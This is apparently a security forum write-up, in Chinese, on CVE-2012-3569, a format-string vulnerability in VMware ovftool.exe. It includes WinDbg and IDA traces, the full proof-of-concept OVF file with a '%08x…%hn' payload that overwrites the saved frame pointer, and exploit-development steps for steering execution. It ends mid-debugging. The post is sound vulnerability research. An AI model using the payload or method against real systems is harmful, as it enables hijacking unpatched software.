首页
论坛
课程
招聘
[原创]再探格式化字符串漏洞:CVE-2012-3569 ovftool.exe
2021-9-24 14:04 18204

[原创]再探格式化字符串漏洞:CVE-2012-3569 ovftool.exe

2021-9-24 14:04
18204

1. 前言

这次分析了CVE-2012-3569 ovftool.exe中的格式化字符串漏洞。之前使用示例程序详细分析过应该怎样利用格式化字符串漏洞(参考资料2),而针对该漏洞,《漏洞战争》中并没有进行详细分析,因此我几乎是从头到尾按照自己的思路独立完成了这个漏洞的分析以及利用,其中漏洞利用部分又占据了比较大的篇幅,因此对于格式化字符串漏洞在实际中的利用方式有了更深刻的了解。

2.漏洞调试

2.1 环境

WinXP sp3 简体中文版

 

VMware OVF Tool 2.1.0-467744 安装包书籍配套资料中有提供

2.2 确定漏洞发生位置

2.2.1 根据错误信息进行初步尝试

使用ovftool.exe打开poc.ovf文件,得到输出的报错信息:

1
2
Error:
 - Line 14: Invalid value 'AAAAAAAAAAAAAAAAAAAAAAAAAA02f75be0ffffffff0000000022ce96420160c7800000000002f75be002cfa9b80012fb3c784b631b000001fd000001ff22ce96420012fb60006752f9000000000012fb6c004b4c4402d02e20000001fd000000000160c78000000000004b4e9722ce9602000000000160c7d8000000000012fb4c0012fc1000691f10000000000012fb807848ac3602f691a0006c1b987848bab70012fb8c7848e50c0160c7d80012fc1c0047ea377848baa022ce917202f6199402f6198002f691a00012fbf47c90e9007c910040ffffffff7c91003d78583c1b01e500000000000078583c3a0c64477f02f73d000012fc3c02d371c00012fc3c02f691a00012fbfc000001f9000001ff000000000012fc687858cf5e742c6edbfffffffe78583c3a0012fc1802f6c3d00012fc6800687212000000010012fc740045637e0000000002f6a9f822ce911a02f68fd802d1c0a802f619800012ff2402f73d00000000000000000f15411655000000000000000f02f691a002f69f5002f6a1f002f69f500012ff440068059200000004' for attribute 'capacityAllocationUnits' on element 'Disk'.

在错误窗口选择调试选项,Windbg的输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(2d0.4d4): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00000000 ecx=22dc6d6e edx=1290002f esi=00000001 edi=016138e0
eip=00000000 esp=0012034d ebp=00000000 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
00000000 ??              ???
0:000> dd esp
0012034d  00000000 00000000 00000000 00000000
0012035d  00000000 00000000 00000000 00000000
0012036d  00000000 00000000 00000000 00000000
0012037d  00000000 00000000 00000000 00000000
0012038d  00000000 00000000 00000000 00000000
0012039d  00000000 00000000 00000000 00000000
001203ad  00000000 00000000 00000000 00000000
001203bd  00000000 00000000 00000000 00000000

可以看到eip的值为0,同时栈中的数据已经清零。

 

由于漏洞发生在栈上,因此使用页堆功能无法定位异常发生位置,可以根据上面命令行中输出的错误信息进行定位。

 

使用IDA打开ovftool.exe,搜索字符串“invalid value”,得到:

 

图片描述

 

根据错误信息的格式,可以确定是第二个结果。找到该字符串的引用位置之后,发现这里调用了std::string的构造函数,所以这里引用该字符串只是为了构造一个string对象,用于之后使用。

1
2
3
4
5
std::string::string(v110, "ovftool.xml.invalid");
v123 = 152;
*(_DWORD *)sub_4BC710(v110) = "Invalid value '%1' for attribute '%2' (%3:%4)";
v123 = -1;
std::string::~string(v110);

将该函数重命名为make_error_string,然后在windbg中,重新调试,并在字符串的引用位置设置断点。

 

使用Open Executable打开ovftool.exe,并设置相关参数,中断后在4B0434的位置设置断点,然后继续执行,在这里设置一个快照:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(e48.ab0): Break instruction exception - code 80000003 (first chance)
eax=00251eb4 ebx=7ffd4000 ecx=00000006 edx=00000040 esi=00251f48 edi=00251eb4
eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
0:000> bp 4B0434
0:000> g
Breakpoint 1 hit
eax=02dfce90 ebx=00000000 ecx=f040def9 edx=01e50608 esi=ffffffff edi=02df8070
eip=004b0434 esp=0012eef4 ebp=0012fc7c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ovftool+0xb0434:
004b0434 c70078296c00    mov     dword ptr [eax],offset ovftool+0x2c2978 (006c2978) ds:0023:02dfce90=00000000

单步之后,eax的位置存储了字符串地址:

1
2
3
4
5
6
7
8
0:000> p
eax=02dfce90 ebx=00000000 ecx=f040def9 edx=01e50608 esi=ffffffff edi=02df8070
eip=004b043a esp=0012eef4 ebp=0012fc7c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ovftool+0xb043a:
004b043a 8975fc          mov     dword ptr [ebp-4],esi ss:0023:0012fc78=00000098
0:000> dd eax l1
02dfce90  006c2978

因为已经确定这是一个格式化字符串的漏洞,再加上输出的错误信息,猜测可能就是在输出这个错误信息的时候,对栈进行了破坏,所以要尝试定位输出函数的位置。

2.2.2 确定输出函数的位置

尝试1

 

最初我尝试在02dfce90006c2978设置内存访问断点,但是失败了,设置好断点之后继续执行,程序直接到达了eip为0的位置。

 

尝试2

 

我看了一下书中的方法,内容并不多,只是说使用单步跟踪找到了具体位置,但是具体应该根据什么细节确定当前位置为目标位置,书中并没有明确介绍。所以接下来我就自己发挥想象力了。

 

我想用Shift+F11的方式,逐步跳出当前函数,确定异常是在哪个函数里面发生的。结果跳出两次之后,程序直接到达了wmain函数。

 

如果在IDA中查看,此时已经到达了这里:

1
2
3
4
5
6
7
8
...
.text:004186EF E8 8C EB FF FF                call    sub_417280
.text:004186F4 83 C4 1C                      add     esp, 1Ch
.text:004186F7 5E                            pop     esi
.text:004186F8 8B E5                         mov     esp, ebp
.text:004186FA 5D                            pop     ebp
.text:004186FB C3                            retn
.text:004186FB                               _wmain endp

这个时候开始单步:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0:000> bp /1 /c @$csp @$ra;g
ModLoad: 68000000 68036000   C:\WINDOWS\system32\rsaenh.dll
Breakpoint 2 hit
eax=00000001 ebx=00000000 ecx=f0523011 edx=01e50608 esi=00000002 edi=016138e0
eip=004186f4 esp=0012ff58 ebp=00120345 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ovftool+0x186f4:
004186f4 83c41c          add     esp,1Ch
0:000> p
eax=00000001 ebx=00000000 ecx=f0523011 edx=01e50608 esi=00000002 edi=016138e0
eip=004186f7 esp=0012ff74 ebp=00120345 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
ovftool+0x186f7:
004186f7 5e              pop     esi
0:000> p
eax=00000001 ebx=00000000 ecx=f0523011 edx=01e50608 esi=00000001 edi=016138e0
eip=004186f8 esp=0012ff78 ebp=00120345 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
ovftool+0x186f8:
004186f8 8be5            mov     esp,ebp

到这一步的时候,ebp的值为00120345,而esp的值为0012ff78,按道理来说ebp的值应该比esp的值大,这里显然不正常,而且ebp的数据为:

1
2
0:000> dd 00120345  l4
00120345  00000000 00000000 00000000 00000000

也就是说问题出现在sub_417280函数里,但是这个结论显然没什么用,因为大部分功能都在这个函数里,说了和没说一样。

 

但是换个角度来想,此时我们已经发现了ebp的值是不对的,那么这个ebp的值是哪来的呢?是在sub_417280函数里,进行pop ebp操作的时候修改的。也就是说,sub_417280函数里的某个操作对栈中的数据进行了修改,并覆盖了原本应该弹出到ebp中的数值,而且这个数值保存的位置就在sub_417280函数栈帧的ebp位置(因为执行的是mov esp, ebp; pop ebp的操作)。

 

所以接下来回到之前的快照,跳出一次,到达sub_417280函数中,然后在ebp的位置设置一个内存访问断点,检查程序是在哪个位置对这里的数值进行了修改。

 

跳出一次后,ebp中的数据:

1
2
3
4
5
6
7
8
9
0:000> bp /1 /c @$csp @$ra;g
Breakpoint 2 hit
eax=00000000 ebx=00000000 ecx=f040cc6d edx=01e50608 esi=00000002 edi=02df8070
eip=004172c6 esp=0012fc84 ebp=0012ff50 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
ovftool+0x172c6:
004172c6 e875e00900      call    ovftool+0xb5340 (004b5340)
0:000> dd ebp l1
0012ff50  0012ff7c

注意到此时ebp中的数值还是正常的,我们在0x12ff50这里设置一个内存访问断点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0:000> ba r4 12ff50
0:000> g
ModLoad: 68000000 68036000   C:\WINDOWS\system32\rsaenh.dll
Breakpoint 2 hit
eax=0012ff50 ebx=0000006e ecx=ffff0345 edx=030fb448 esi=0012f928 edi=00000064
eip=0057eaf8 esp=0012f8d0 ebp=0012fa78 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ovftool+0x17eaf8:
0057eaf8 e963f4ffff      jmp     ovftool+0x17df60 (0057df60)
0:000> ub
ovftool+0x17eadd:
0057eadd 8b8570ffffff    mov     eax,dword ptr [ebp-90h]
0057eae3 85c0            test    eax,eax
0057eae5 7416            je      ovftool+0x17eafd (0057eafd)
0057eae7 8b04f8          mov     eax,dword ptr [eax+edi*8]
0057eaea 668b8d4cffffff  mov     cx,word ptr [ebp-0B4h]
0057eaf1 47              inc     edi
0057eaf2 897d8c          mov     dword ptr [ebp-74h],edi
0057eaf5 668908          mov     word ptr [eax],cx

上一步指令为mov word ptr [eax],cx,正是这句指令修改了ebp位置的值。

 

由于此时栈帧被修改,查看函数调用的结果可能是不正常的,所以还是回到之前的快照,在上一步指令的位置设置一个断点,然后查看函数调用情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0:000> bp 0057eaf5
0:000> g
ModLoad: 68000000 68036000   C:\WINDOWS\system32\rsaenh.dll
Breakpoint 2 hit
eax=0012ff50 ebx=0000006e ecx=ffff0345 edx=030fb448 esi=0012f928 edi=00000064
eip=0057eaf5 esp=0012f8d0 ebp=0012fa78 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ovftool+0x17eaf5:
0057eaf5 668908          mov     word ptr [eax],cx        ds:0023:0012ff50=ff7c
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\WinSxS\x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.7523_x-ww_62205c0c\MSVCP90.dll -
0:000> kb
ChildEBP RetAddr  Args to Child             
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fa78 0058044a 0012fac0 785bc24c 030fb200 ovftool+0x17eaf5
0012faa8 0057cb9e 0012fac0 00000000 030fb288 ovftool+0x18044a
0012fac4 0056b674 00000000 030fb288 0012faec ovftool+0x17cb9e
0012fae0 004b375f 030fb288 031012e8 ffffffff ovftool+0x16b674
0012fb2c 004b4c44 02df81b0 000001fd 00000000 ovftool+0xb375f
0012fb6c 7848ac36 030f9128 006c1b98 7848bab7 ovftool+0xb4c44
0012fb80 7848e50c 0160c7d8 0012fc1c 0047ea37 MSVCP90!std::basic_ostream<unsigned short,std::char_traits<unsigned short> >::flush+0x1f
0012fb8c 0047ea37 7848baa0 f040cc0d 030f8f2c MSVCP90!std::basic_istream<unsigned short,std::char_traits<unsigned short> >::operator>>+0x9
0012fc1c 0045637e 00000000 030fa168 f040cc65 ovftool+0x7ea37
0012fc74 004184f4 000f9128 030cbd10 f040cf41 ovftool+0x5637e
0012ff50 004186f4 00000002 02df8070 00000002 ovftool+0x184f4  // 注意这个返回地址,已经在wmain了
0012ff7c 005e82ff 00000002 02dec270 02ded220 ovftool+0x186f4
0012ffc0 7c817067 7c911440 00f3f55c 7ffd4000 ovftool+0x1e82ff
0012fff0 00000000 005e8447 00000000 78746341 kernel32!BaseProcessStart+0x23

在函数调用情况的倒数第四个位置,看到了位于wmain中的返回地址,所以上一项就应该位于sub_417280函数中,继续向上看,在返回地址为0047ea37的这一项,程序调用了标准库函数,这里应该就是在执行输出操作,所以我们直接在IDA中定位地址0047ea37

 

然后查看一下这个函数的伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
...
  if ( result > 0 )
    {
      do
      {
        v35 = (_DWORD *)v29[5];
        v19 = (int (__thiscall **)(_DWORD *, char *, int))(*v35 + 16);
        v20 = (*(int (__thiscall **)(int, int))(*(_DWORD *)a3 + 44))(a3, v18);
        v21 = (*v19)(v35, v27, v20);
        v30 = 1;
        v25 = v21;
        v22 = sub_401A90(&dword_160C7D8, " - ");
        v23 = std::operator<<<char>(v22, v25);
        std::ostream::operator<<(v23, std::endl);  // 注意这里在进行输出
        v30 = -1;    // 地址0047ea37在这里
        std::string::~string(v27);
        ++v18;
        result = (*(int (__thiscall **)(int))(*(_DWORD *)a3 + 36))(a3);
      }
      while ( v18 < result );
    }
...

所以ebp处的数值被修改,就发生在字符串输出的过程中。

3. 漏洞利用

关于格式化字符串漏洞如何利用,之前写过一篇文章:[原创]格式化字符串漏洞利用方法及CVE-2012-0809漏洞分析

3.1 确定异常数据的影响

先看一下poc.ovf文件的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" encoding="UTF-8"?>
<Envelope vmw:buildId="build-162856" xmlns="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common"
xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData"
xmlns:vmw="http://www.vmware.com/schema/ovf"
xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <References>
    <File ovf:href="Small VM-disk1.vmdk" ovf:id="file1" ovf:size="2982" />
  </References>
  <DiskSection>
    <Info>Virtual disk information</Info>
    <Disk ovf:capacity="8" ovf:capacityAllocationUnits="AAAAAAAAAAAAAAAAAAAAAAAAAA%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%hn" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" />
  </DiskSection>
  <VirtualSystem ovf:id="Small VM">
    <Info>A virtual machine</Info>
  </VirtualSystem>
</Envelope>

根据错误信息,程序就是在处理ovf:capacityAllocationUnits这个属性值的时候出现了问题,在尝试对属性值输出的时候,出现了格式化字符串漏洞。

 

因为在尝试对属性值输出的时候,属性值被当成了格式化字符串,所以输出的时候,由于%08x的影响,程序直接将栈中的数据dump了出来。

 

但是现在的问题在于,程序dump的是哪一块数据,或者说程序中具体是哪个函数在做真正的格式化输出。

3.1.1 确定格式化输出函数

在之前对格式化漏洞进行分析的文章中,实验程序使用C语言写的,要打印的字符串直接压入栈中,可以很清晰的看到栈中数据的结构,但是这次的程序是C++的,调用了operator<<来对字符串进行输出,传入的是this指针。所以乍一看很难确定格式化字符串输出的是栈中的哪块数据。

 

我尝试对输出的数据进行搜索,但是并没有搜索到,可能在调用operator<<返回的过程中栈中数据又有了修改。

 

所以需要进一步深入分析,确定字符串打印的时候,栈中数据的情况。

 

 

上面划掉的是我一开始尝试时采用的方法,后来发现不用那么麻烦。直接根据上面得到的函数调用流程在IDA中查看各函数的代码,在检查到:

1
0012fae0 004b375f 030fb288 031012e8 ffffffff ovftool+0x16b674

这一行的时候,根据地址004b375f定位到函数sub_4B3700,该函数伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void __stdcall sub_4B3700(int a1, int a2) {
  std::string::string(v6, a1, a2);
  v8 = 0;
  v2 = (void **)Buf[0];
  if ( Buf[5] < (void *)0x10 )
    v2 = Buf;
  v3 = sub_581460(v2, 0xFFFFFFFF, 0);
  sub_56B660(v3, v5);
  v4 = _iob_func();
  fflush(v4 + 1);
  sub_5B0BD0(v3);
  v8 = -1;
  std::string::~string(v6);
}

同时确定下一个调用的函数是sub_56B660,再看一下这个函数的伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int my_printf(int a1, ...)
{
  char *v1; // esi
  FILE *v2; // eax
  int v3; // edi
  va_list va; // [esp+14h] [ebp+Ch] BYREF
 
  va_start(va, a1);
  v1 = (char *)sub_57CB80(0, a1, va);
  v2 = _iob_func();
  v3 = sub_56B5F0(v2 + 1, v1);
  free(v1);
  return v3;
}

注意到这个函数的参数了吗?还有其中的变量va_list va,然后它又进一步调用了v1 = (char *)sub_57CB80(0, a1, va);,这不就是printf的格式吗?不妨就将sub_56B660命名为my_printf

 

接下来可以到windbg中验证一下了,在004b375a设置一个断点(调用my_printf的位置),执行到这里的时候,栈中的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
0:000> g
eax=030fb288 ebx=02df81b0 ecx=030fb288 edx=01e50608 esi=030fb288 edi=000001fd
eip=004b375a esp=0012fae8 ebp=0012fb2c iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ovftool+0xb375a:
004b375a e8017f0b00      call    ovftool+0x16b660 (0056b660)
0:000> dd esp l64
0012fae8  030fb288 031012e8 ffffffff 00000000   // 从第二个数据开始就和最终打印出来的字符是一样的了
0012faf8  f040cb3d 0160c780 00000000 031012e8
0012fb08  02df5050 0012fb3c 784b631b 000001fd
0012fb18  000001ff f040cb3d 0012fb60 006752f9
0012fb28  00000000 0012fb6c 004b4c44 02df81b0
0012fb38  000001fd 00000000 0160c780 00000000
0012fb48  004b4e97 f040cb7d 00000000 0160c7d8
0012fb58  00000000 0012fb4c 0012fc10 00691f10
0012fb68  00000000 0012fb80 7848ac36 030f9128
0012fb78  006c1b98 7848bab7 0012fb8c 7848e50c
0012fb88  0160c7d8 0012fc1c 0047ea37 7848baa0
0012fb98  f040cc0d 030f8f2c 030f8f18 030f9128
0012fba8  0012fbf4 7c90e900 7c910040 ffffffff
0012fbb8  7c91003d 78583c1b 01e50000 00000000
0012fbc8  78583c3a dbb8e81d 030fb288 0012fc3c
0012fbd8  031010d0 0012fc3c 030f9128 0012fbfc
0012fbe8  000001f9 000001ff 00000000 0012fc68
0012fbf8  7858cf5e a3f0c1b9 fffffffe 78583c3a
0012fc08  0012fc18 030fa0d8 0012fc68 00687212
0012fc18  00000001 0012fc74 0045637e 00000000
0012fc28  030fa168 f040cc65 030fa090 02e0fad0
0012fc38  030f8f18 0012ff24 030fb200 00000000
0012fc48  0000000f e0180cc4 00000000 0000000f
0012fc58  030f9128 030fba10 030fb9c8 030fba10
0012fc68  0012ff44 00680592 00000004 0012ff50  
// 0x00000004这里为止都是打印的字符
// 注意最后的0012ff50,就是要写入的位置。

这里我贴出了很多栈中的数据,是为了方便和下面打印出来的数据做比较。

 

其中栈顶是第一个参数,查看一下其中的数据:

1
2
3
4
5
6
7
8
9
0:000> db 030fb288
030fb288  20 2d 20 4c 69 6e 65 20-31 34 3a 20 49 6e 76 61   - Line 14: Inva
030fb298  6c 69 64 20 76 61 6c 75-65 20 27 41 41 41 41 41  lid value 'AAAAA
030fb2a8  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
030fb2b8  41 41 41 41 41 25 30 38-78 25 30 38 78 25 30 38  AAAAA%08x%08x%08
030fb2c8  78 25 30 38 78 25 30 38-78 25 30 38 78 25 30 38  x%08x%08x%08x%08
030fb2d8  78 25 30 38 78 25 30 38-78 25 30 38 78 25 30 38  x%08x%08x%08x%08
030fb2e8  78 25 30 38 78 25 30 38-78 25 30 38 78 25 30 38  x%08x%08x%08x%08
030fb2f8  78 25 30 38 78 25 30 38-78 25 30 38 78 25 30 38  x%08x%08x%08x%08

就是要打印的内容。终于看见了胜利的曙光,先在这里建立一个快照。然后直接步过看一下打印的结果(因为多次调试,此时的结果和本文开始贴出的结果不一致)。

1
2
Error:
 - Line 14: Invalid value 'AAAAAAAAAAAAAAAAAAAAAAAAAA031012e8ffffffff00000000f040cb3d0160c78000000000031012e802df50500012fb3c784b631b000001fd000001fff040cb3d0012fb60006752f9000000000012fb6c004b4c4402df81b0000001fd000000000160c78000000000004b4e97f040cb7d000000000160c7d8000000000012fb4c0012fc1000691f10000000000012fb807848ac36030f9128006c1b987848bab70012fb8c7848e50c0160c7d80012fc1c0047ea377848baa0f040cc0d030f8f2c030f8f18030f91280012fbf47c90e9007c910040ffffffff7c91003d78583c1b01e500000000000078583c3adbb8e81d030fb2880012fc3c031010d00012fc3c030f91280012fbfc000001f9000001ff000000000012fc687858cf5ea3f0c1b9fffffffe78583c3a0012fc18030fa0d80012fc6800687212000000010012fc740045637e00000000030fa168f040cc65030fa09002e0fad0030f8f180012ff24030fb200000000000000000fe0180cc4000000000000000f030f9128030fba10030fb9c8030fba100012ff440068059200000004' for attribute 'capacityAllocationUnits' on element 'Disk'.

对上面打印出来的数据进行一下整理,可以发现在连续的A字符之后,以四字节为单位对数据进行分割,最后得到的内容和上方得到的栈中数据是一致的。

 

再回过头来看一下Poc文件中提供的格式化字符串,其实包含了26个A字符,98个%08x字符串,因此程序在这里会打印出98个四字节数据,而第99个四字节数据就是栈中的0012ff50,也就是2.2.2小节调试时得到的ebp的位置。

 

在2.2.2小节中,根据调试结果,我们已经得到了程序写入的数值(已打印字符数)为0x345,那么这个数值是怎么来的呢?

 

在连续的A字符之前,还包含字符串 - Line 14: Invalid value ',注意前面的空格,这部分内容就有27个字节,所以到%hn为止,已打印的字符数应该是27 + 26 + 98 * 8 = 837,换算成十六进制,就是0x345

3.1.2 小总结

所以到目前为止,我们已知在ovf文件中,如果ovf:capacityAllocationUnits属性值内容出错,会直接被函数sub_56B660my_printf函数打印出来。因此将该属性值内容构造成格式化字符串的形式,就会触发格式化字符串漏洞。

 

经过上一小节的调试和分析,我们确定了发生格式化字符串的打印操作时,输出的数据位于栈中的哪个位置;经过之前文章中对于格式化字符串漏洞的利用分析,也知道该如何利用格式化字符串漏洞。

 

所以接下来需要针对此次漏洞,详细分析栈中数据内容,确定该如何利用这个漏洞。

3.2 漏洞利用

3.2.1 对capacityAllocationUnits属性值的要求

在poc.ovf这个文件中,ovf:capacityAllocationUnits属性值的设置导致最后程序执行到了0x000000,因为它构造的格式化字符串导致在字符串输出之后,修改了ebp位置的值,这样在函数退出时执行:

1
2
3
mov esp, ebp   // 修改的ebp值成为新的栈顶
pop ebp        //
retn           // 新的栈顶偏移四个字节的位置成为新的返回地址

而如果想要完成漏洞利用,我首先想到的是直接修改到返回地址。

 

可以看一下被打印出来的栈中的数据,返回地址在栈中,所以它一定是0x0012f???的格式:

 

图片描述

 

在poc.ovf中,选择写入的是最后一个0x0012ff50这个地址,而返回地址位于0x0012ff54这个位置,如果你和函数调用流程中一些列的ChildEBP值作比较,会发现栈中数据会命中多个ChildEBP,但是没有命中ChildEBP+4的。

 

所以目前看来,如果想要漏洞利用,还是要使用和poc.ovf中一样的方式,覆盖ebp的位置。而且既然之前已经对poc.ovf中的属性值进行了简单分析,有了一定了解,那么最好就保留原始格式不变,仍旧覆盖0x0012ff50这一位置,即属性值中%x的个数保持不变。

 

因此现在唯一能做的就是修改前面连续的字符A的部分(或者是%08x中的数值),可以调整字符的个数,从而改变写入0x0012ff50的数值大小。

3.2.2 确定合适的覆盖数值

需要注意到,对于0x0012ff50的修改,只会修改其低位的两个字节,0x0012ff50处原本保存的就是栈帧基址,所以高位字节0x0012这个数值是不变的。

 

我们希望在修改之后,新的数值0x0012????作为新的栈帧基址(之后变成栈顶),其偏移四字节的位置可以作为返回地址,改变程序的执行流程。

 

现在能想到的就是找到属性值在栈中的位置,将0x0012ff50覆盖为属性值在栈中占用的空间地址,这样我们就可以控制偏移四字节位置的数值了。

 

可以在0x00120000~0x0012ffff这一范围内搜索一下:

1
2
3
4
5
6
7
8
9
10
11
0:000> s 120000 lffff 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
0012d4f3  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0:000> db 12d4f3
0012d4f3  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012d503  41 41 41 41 41 41 41 41-41 41 25 30 38 78 25 30  AAAAAAAAAA%08x%0
0012d513  38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30  8x%08x%08x%08x%0
0012d523  38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30  8x%08x%08x%08x%0
0012d533  38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30  8x%08x%08x%08x%0
0012d543  38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30  8x%08x%08x%08x%0
0012d553  38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30  8x%08x%08x%08x%0
0012d563  38 78 25 30 38 78 25 30-38 78 25 30 38 78 25 30  8x%08x%08x%08x%0

可以看到栈中确实存在属性值中的内容,如果检查前面的数据,可以看到这一部分空间保存的就是ovf文件的内容。

 

但是问题在于,怎么保证这个地址是不变的,毕竟这是栈中的一片空间,如果字符串长度发生变化,它的偏移地址有极大可能会发生变化。

 

然后我想到了之前Exploit编写系列教程学习笔记中学习到的方法,使用pattern_create.rb及pattern_offset.rb生成capacityAllocationUnits属性值内容,确定在属性值足够大的时候,是否能找到一个相对固定的偏移地址,就像是堆喷射中的0xC0C0C0C0那样。

 

注:我这里的想法是错的,关键不是在于找到一个固定的偏移地址,而是找到一个漏洞能够覆盖到的地址,后面的实验发现漏洞无法覆盖全部的0x120000~0x12ffff范围

1
PS E:\metasploit-framework\embedded\framework\tools\exploit> ruby .\pattern_create.rb -l 10000 > content.txt

一开始生成一个长度为10000的测试字符串,并用它替换原属性值中连续的A字符串,重新进行调试,在004b375a设置断点(调用my_printf函数的位置)。

 

结果我发现在调试的时候,程序并不是一次性打印出所有的内容,而是每次最多打印4096个字符:

 

图片描述

 

也就是说,在打印最后包含%08x在内的格式化字符串时,所谓的“已打印字符数”的最大值就是0x1000,所以最后写入0x0012ff50的时候,可以写入的数值范围为0x00120188 ~ 0x00121000(最小范围是因为要保证有足够的%x)。

 

因此我们要保证属性值的内容最终能够保存在0x00120188 ~ 0x00121000这个范围内。

 

这么一看,我们上面得到的地址0012d4f3也没办法使用。

 

这次再搜索一下属性值中的内容所在的位置:

1
2
3
0:000> s 120000 lffff 41 61 30 41
0:000> s 115000 lffff 41 61 30 41
00116b47  41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41  Aa0Aa1Aa2Aa3Aa4A

这次的位置在00116b47,小于最小范围,并且由于长度不够长,没有覆盖到期望范围。

 

那么要如何确定一个合适的长度呢?首先看一下栈空间的范围:

1
2
3
4
5
6
7
0:000> !address 121000
    00030000 : 00115000 - 0001b000
                    Type     00020000 MEM_PRIVATE
                    Protect  00000004 PAGE_READWRITE
                    State    00001000 MEM_COMMIT
                    Usage    RegionUsageStack
                    Pid.Tid  e48.ab0

可以看到栈空间范围是0x00115000~0x00130000,肯定不能让属性值的长度把空间完全占掉,但是我们可以考虑一个比较大的值的情况,0x00121000-0x00115000=C000。但是这里并不是要让属性值的长度等于C000,因为每次程序会打印0x1000个字符,所以这里考虑保证最后的总打印字符数是C000

 

在打印属性值之前,首先会打印长度为27字节的 - Line 14: Invalid value ',然后会打印非格式化字符串,即使用pattern_create.rb生成的字符串,然后会打印8*98个字节的格式化字符串部分,因此如果想要让总体长度为C000,需要生成的字符串长度为C000-1B-310=BCD5

 

用新的测试文件开始调试,并在0057eaf5(设置0x0012ff50)的位置设置一个断点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(b60.e0c): Break instruction exception - code 80000003 (first chance)
eax=00251eb4 ebx=7ffd7000 ecx=00000006 edx=00000040 esi=00251f48 edi=00251eb4
eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!DbgBreakPoint:
7c90120e cc              int     3
0:000> bp 0057eaf5
0:000> g
Breakpoint 0 hit
eax=0012ff50 ebx=0000006e ecx=ffff1000 edx=03107d43 esi=0012f928 edi=00000064
eip=0057eaf5 esp=0012f8d0 ebp=0012fa78 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ovftool+0x17eaf5:
0057eaf5 668908          mov     word ptr [eax],cx        ds:0023:0012ff50=ff7c

可以看到正在向0x0012ff50的低位写入0x1000,看一下0x121000这里的数据:

1
2
3
4
5
6
7
8
9
0:000> db 121000
